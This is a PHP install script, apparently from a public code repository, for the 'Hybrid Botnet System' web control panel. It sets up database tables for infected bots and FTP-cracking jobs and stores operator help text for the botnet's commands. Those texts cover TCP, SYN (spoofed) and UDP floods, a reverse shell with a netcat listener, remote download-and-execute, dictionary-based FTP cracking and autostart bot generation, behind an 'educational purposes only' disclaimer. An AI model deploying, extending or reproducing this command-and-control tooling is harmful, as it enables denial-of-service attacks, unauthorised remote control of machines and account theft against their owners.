PageRenderTime 52ms CodeModel.GetById 27ms RepoModel.GetById 0ms app.codeStats 0ms

/php/install.php

https://bitbucket.org/foilo/hybrid-bot-v1-openshift-quickstarter
PHP | 308 lines | 274 code | 23 blank | 11 comment | 44 complexity | 3f668dfbc2dad13f74b032b408e2b225 MD5 | raw file
  1. <?php
  2. if(!is_null($_POST['action'])){
  3. /********************************************************************/
  4. $db_host = htmlspecialchars(addslashes($_POST['db_host']));
  5. $db_user = htmlspecialchars(addslashes($_POST['db_user']));
  6. $db_pass = htmlspecialchars(addslashes($_POST['db_pass']));
  7. $db = htmlspecialchars(addslashes($_POST['db']));
  8. $table = "bots";
  9. $help_table = "help_table";
  10. $ftp_table = "ftp_table";
  11. $table_erte_configuration = "erte_configuration";
  12. /********************************************************************/
  13. $about = "
  14. Hybrid Remote Administration System / Hybrid Botnet System
  15. version 1.0 by cross [cross@x1machine.com]
  16. Web Site: www.x1machine.com
  17. Hybrid Botnet System consists of this web control panel and
  18. Hybrid Bot, which is written in perl scripting language.
  19. Hybrid is probably the first perl bot controlled via http
  20. protocol. This version uses only one standard perl module: Socket,
  21. so it will run on any linux system with perl interpreter installed.
  22. Moreover, you can compile Hybrid Bot with perl2exe application, it
  23. should then be able to run on any linux systems.
  24. Web panel license: Creative Commons v.2.0
  25. Hybrid Bot License: GPL v.2.1.
  26. Author of this software is not responsible for anything.
  27. Hybrid Botnet System is released for educational purposes only!
  28. ";
  29. $terminal_about = "
  30. Encrypted Remote Terminal Emulator.
  31. Base64 encryption algorythm used here. Anyways, what it is for?
  32. This is shell emulation via web panel. How you can use it and when?
  33. You can use it if bot has external ip or port redirected for processing such
  34. connection. How to use it? At the very bottom you can see some settings.
  35. So, first, set command for bot and let is open port for connection.
  36. Then set configuration for E.R.T.E. by selecting IP Address from available
  37. bots, typing port number and hitting [Set Configuration] button. You should
  38. see the configuration, now just type commands. In previous Hybrid Botnet
  39. version this was implemented as separate perl::Gtk2 application.
  40. ";
  41. $stats_about = "
  42. Here you can observe your botnet, setting commands to bots, deleting bots.
  43. Anyways, every outdated bot will be deleted automatically so dont bother.
  44. Time is set to 600 seconds, after - bot is deleted. Dont worry anyway, if
  45. bot is just went offline for some time - it will be added to database next time
  46. it will connect to it. How do you setting commands? You probably already know, but if not:
  47. select bot name, or All Bots option, or Checked option. As you have noticed already,
  48. there is posibility to check a few bots at ones, so for example if you want
  49. to strike with denial of service attack and want to use a few bots for this, just check
  50. these bots you want to use, select Checked option, select command, type arguments and
  51. hit [Set Command] button.
  52. ";
  53. $hygen_about = "
  54. Well, this is actually a new HyGen, which first version was implemented in Hybrid
  55. Botnet System version 0.1, very first version. Here you are editing various settings.
  56. Base Bot Name - whatever you want, will be mixed with login and random string
  57. Directory to place bot - /bin/, /usr/local/bin/, /sbin/, or /temp/?
  58. Default Sleep Time - as it states, how long to sleep while there is no command
  59. Home Server - your domain actually, like www.youdomain.com, or server ip
  60. Home Server Port - in case you are running web server on non-standard port
  61. Gate Dir - currently folder with this script
  62. Gate Script - name of gate script (now: getcmd.php)
  63. Bots User Agent - this is importand when you, for example, want to allow only custom user agents
  64. Autostart File - file responsible for daemons autostart with system, can be /etc/profile
  65. While you have completed all fields just hit [Generate] button and youll get you
  66. fresh and new bot.
  67. ";
  68. $dict_about = "
  69. Here you can upload new dictionary files, used then for ftp accounts cracking.
  70. Max Upload Size - how big file could be, you can upload such file via ftp client
  71. Max Post Size - size of file that could be uploaded via web form
  72. Select new dictionary file - select some new dictionary file from your computer
  73. [Upload] - upload dictionary file to server.
  74. When you will have some files on server - you will see them, you can delete
  75. then files you want. You should upload a few dictionary files before
  76. try to crack any ftp.
  77. ";
  78. $ftpcrack_about = "
  79. Here you can set up ftp hosts you want to try to crack. How are you doing this:
  80. type ftp address (IP), type port and select a dictionary file from
  81. available, hit [Add] button then. You can add here any amount of ftp cracking jobs.
  82. When you have added something here, you can now issue a command for bots to start
  83. cracking these ftp accounts. More about this command you can read in apropriate section.
  84. ";
  85. /********************************************************************/
  86. $sleep_cmd_help = "
  87. Sleep-[time(in secs)]
  88. Set up Sleep command if you want you specific bot or all bots to go sleep.
  89. That means, for specified period of time bot(s) will stay inactive.
  90. Second argument is time in seconds, for example:
  91. Sleep 15 - bot will sleep for 15 seconds.
  92. Sleep 3600 - bot will sleep for an hour.
  93. ";
  94. $tcpstorm_cmd_help = "
  95. TCP Storm help section.
  96. TCP Storm is simple yet powerfull tcp flooder against most servers and services.
  97. Unfortunately, it is very easy to block, it doesnt spoof bot ip, etc.
  98. There are arguments: Host, Port, Delay, Packets.
  99. Host - is target host we want to attack,
  100. Port - is service port we want to attack (http - 80, ftp - 21, etc),
  101. Delay - 0 : max power / 100% cpu usage, 1 - min power / 1-5% of cpu,
  102. Packets - how many connections to make.
  103. ";
  104. $synstorm_cmd_help = "
  105. SYN Storm help section.
  106. SYN Storm command is responsible for launching syn flood on target machine.
  107. syn flood was very powerful attack some time ago, now it can be easily blocked.
  108. But still here there is, with source ip spoofing.
  109. Arguments are the mostely same like for TCPStorm command:
  110. Host - is target host we want to attack,
  111. Port - is service port we want to attack (http - 80, ftp - 21, etc),
  112. Delay - 0 : max power / 100% cpu usage, 1 - min power / 1-5% of cpu,
  113. Packets - how many packets to send.
  114. Notice: you bot need to be run under root to use raw sockets, used for
  115. this kind of attack.
  116. ";
  117. $udp_cmd_help = "
  118. UDP Storm Bot help section.
  119. Thats simple udp flood attack against services utilizing networking functions via udp protocol.
  120. UDP Storm sends a lot of trash data on specified udp port, there are 4 arguments:
  121. Host - target host
  122. Port - opened udp port on target host
  123. Time - how long to attack (in seconds)
  124. Delay - 0 - max / 1 - min.
  125. ";
  126. $delbot_cmd_help = "
  127. Delete Bot help section.
  128. This command will simply result in bot deletion from its host machine.
  129. ";
  130. $revsh_cmd_help = "
  131. Reverse Shell help section.
  132. This is simple reverse shell. There are 2 arguments for this command:
  133. Host and Port, where host is your computers ip and port, opened on your
  134. computer for processing remote shell. To open port on your computer, use netcat utility:
  135. [nc -l -v -p 6666] - this will open port 6666 for shell. When port has been opened,
  136. you can set the Reverse SHell command for bot. Notice: You need external ip or
  137. port redirected to use this shell.
  138. ";
  139. $erte_cmd_help = "
  140. Encrypted Remote Terminal Emulator help section.
  141. E.R.T.E is a main page in this control panel, you can see
  142. terminal like window there. So, to establish a connection
  143. with bot from web terminal, first thing - bot should have
  144. external IP or redirected port in router. Else, you cannot use this
  145. function. Assuming bot meets the requirements:
  146. the argument for this command is [Bots Port] - that is the port,
  147. which will be used for receiving data (commands).
  148. For example, you have sat port to be 12345, now go to web terminal.
  149. YOu have to Set Configuration first. Here you simply select bot ip
  150. and type port in a field below and hit [Set Configuration].
  151. You will see your configuration a bit above. Thats all.
  152. Type commands in web terminal - results should be sent right away.
  153. To exit E.R.T.E. - send [exit] command (without brackets).
  154. ";
  155. $ftpcrack_cmd_help = "
  156. FTP Crack help section.
  157. This command is responsible for ordering some bot to crack some ftp, simple as it gets.
  158. Now, you cannot set up this command for All / Checked bots - only for one bot.
  159. One ftp cracking job for one bot. To set this command sellect it from command
  160. selection menu and as an argument type ip address of ftp host you want your bot
  161. try to crack. Simple, copy some ip from Ftp Cracking Jobs and paste it here.
  162. Notice, this ftp MUST exist in ftp cracking jobs.
  163. ";
  164. $dlexec_cmd_help = "
  165. Download and Execute help section.
  166. This command will order your bot to download and execute some file.
  167. This could be binary executable (elf) file, or perl script - any file that could be
  168. executed without any additional arguments. Only regular sockets used, so no external
  169. application needed. Arguments:
  170. Remote Host - where file is located (ex. www.mydomain.com)
  171. Path 2 File - path to file (ex. /uploads/file)
  172. Local File - path and name together, where file should be saved (ex. /usr/local/bin/file).
  173. ";
  174. /********************************************************************/
  175. function connect($h, $l, $p) {
  176. $c=mysql_connect($h,$l,$p);
  177. if ($c===FALSE){
  178. die('connection to database failed! '.mysql_error().'<br>');
  179. }}
  180. connect($db_host, $db_user, $db_pass);
  181. $STATUS = mysql_select_db($db);
  182. if(!$STATUS){
  183. echo "ERROR: ". mysql_error()."<br>";
  184. }
  185. $install = "CREATE TABLE `$table` (".
  186. "`id` int(10) NOT NULL auto_increment,".
  187. "`ip` varchar(100) NOT NULL default '',".
  188. "`period` varchar(100) NOT NULL default '',".
  189. "`cmd` varchar(100) NOT NULL default '',".
  190. "`name` varchar(100) NOT NULL default '',".
  191. "`msg` varchar(100) NOT NULL default '',".
  192. " PRIMARY KEY (`id`),".
  193. " UNIQUE KEY `id`(`id`)".
  194. ") TYPE=MyISAM COMMENT='' AUTO_INCREMENT=1 ;";
  195. $STATUS = mysql_query($install);
  196. if(!$STATUS){
  197. echo "ERROR: ". mysql_error()."<br>";
  198. }
  199. /***********************************************************************/
  200. $install_config = "CREATE TABLE `$table_erte_configuration` (".
  201. "`id` int(10) NOT NULL auto_increment,".
  202. "`ip` varchar(100) NOT NULL default '',". // 1
  203. "`port` varchar(100) NOT NULL default '',". // 2
  204. " PRIMARY KEY (`id`),".
  205. " UNIQUE KEY `id`(`id`)".
  206. ") TYPE=MyISAM COMMENT='' AUTO_INCREMENT=1 ;";
  207. $STATUS = mysql_query($install_config);
  208. if(!$STATUS){
  209. echo "ERROR: ". mysql_error()."<br>";
  210. }
  211. /**********************************************************************/
  212. $install_ftp = "CREATE TABLE `$ftp_table` (".
  213. "`id` int(10) NOT NULL auto_increment,".
  214. "`ip` varchar(100) NOT NULL default '',". // 1
  215. "`port` varchar(100) NOT NULL default '',". // 2
  216. "`dict` varchar(100) NOT NULL default '',". // 3
  217. "`result` varchar(1000) NOT NULL default '',". // 4
  218. " PRIMARY KEY (`id`),".
  219. " UNIQUE KEY `id`(`id`)".
  220. ") TYPE=MyISAM COMMENT='' AUTO_INCREMENT=1 ;";
  221. $STATUS = mysql_query($install_ftp);
  222. if(!$STATUS){
  223. echo "ERROR: ". mysql_error()."<br>";
  224. }
  225. /**********************************************************************/
  226. $install_help = "CREATE TABLE `$help_table` (".
  227. "`id` int(10) NOT NULL auto_increment,".
  228. "`about` longtext NOT NULL default '',". // 1
  229. "`terminal_about` longtext NOT NULL default '',". // 2
  230. "`stats_about` longtext NOT NULL default '',". // 3
  231. "`hygen_about` longtext NOT NULL default '',". // 4
  232. "`dict_about` longtext NOT NULL default '',". // 5
  233. "`ftpcrack_about` longtext NOT NULL default '',". // 6
  234. "`sleep_cmd_help` longtext NOT NULL default '',". // 7
  235. "`tcpstorm_cmd_help` longtext NOT NULL default '',". // 8
  236. "`synstorm_cmd_help` longtext NOT NULL default '',". // 9
  237. "`udp_cmd_help` longtext NOT NULL default '',". /// 10
  238. "`delbot_cmd_help` longtext NOT NULL default '',". // 11
  239. "`revsh_cmd_help` longtext NOT NULL default '',". // 12
  240. "`erte_cmd_help` longtext NOT NULL default '',". // 13
  241. "`ftpcrack_cmd_help` longtext NOT NULL default '',". // 14
  242. "`dlexec_cmd_help` longtext NOT NULL default '',". //15
  243. " PRIMARY KEY (`id`),".
  244. " UNIQUE KEY `id`(`id`)".
  245. ") TYPE=MyISAM COMMENT='' AUTO_INCREMENT=1 ;";
  246. $STATUS = mysql_query($install_help);
  247. if(!$STATUS){
  248. echo "ERROR: ". mysql_error()."<br>";
  249. }
  250. $STATUS = mysql_query("INSERT INTO $help_table (about, terminal_about, stats_about, hygen_about,
  251. dict_about, ftpcrack_about, sleep_cmd_help, tcpstorm_cmd_help,
  252. synstorm_cmd_help, udp_cmd_help, delbot_cmd_help, revsh_cmd_help,
  253. erte_cmd_help, ftpcrack_cmd_help, dlexec_cmd_help) VALUES ('$about',
  254. '$terminal_about', '$stats_about', '$hygen_about',
  255. '$dict_about', '$ftpcrack_about', '$sleep_cmd_help', '$tcpstorm_cmd_help',
  256. '$synstorm_cmd_help', '$udp_cmd_help', '$delbot_cmd_help', '$revsh_cmd_help',
  257. '$erte_cmd_help', '$ftpcrack_cmd_help', '$dlexec_cmd_help')");
  258. if(!$STATUS){
  259. echo "ERROR: ". mysql_error()."<br>";
  260. }
  261. /**********************************************************************
  262. ***********************************************************************/
  263. $config_file = '$OPENSHIFT_REPO_DIR/'."cf.php";
  264. $handle = fopen($config_file, 'w') or
  265. die ("<br>Could not create configuration file! ERROR!<br>");
  266. $data = "<?php
  267. \$db_host = \"$db_host\";
  268. \$db = \"$db\";
  269. \$db_user = \"$db_user\";
  270. \$db_pass = \"$db_pass\";
  271. \$table = \"$table\";
  272. \$help_table = \"$help_table\";
  273. \$ftp_table = \"$ftp_table\";
  274. \$table_erte_configuration = \"$table_erte_configuration\";
  275. ?>
  276. ";
  277. fwrite($handle, $data);
  278. fclose($handle);
  279. /**********************************************************************/
  280. unlink("index.html");
  281. mysql_close();
  282. header('Location: index.php');
  283. }
  284. ?>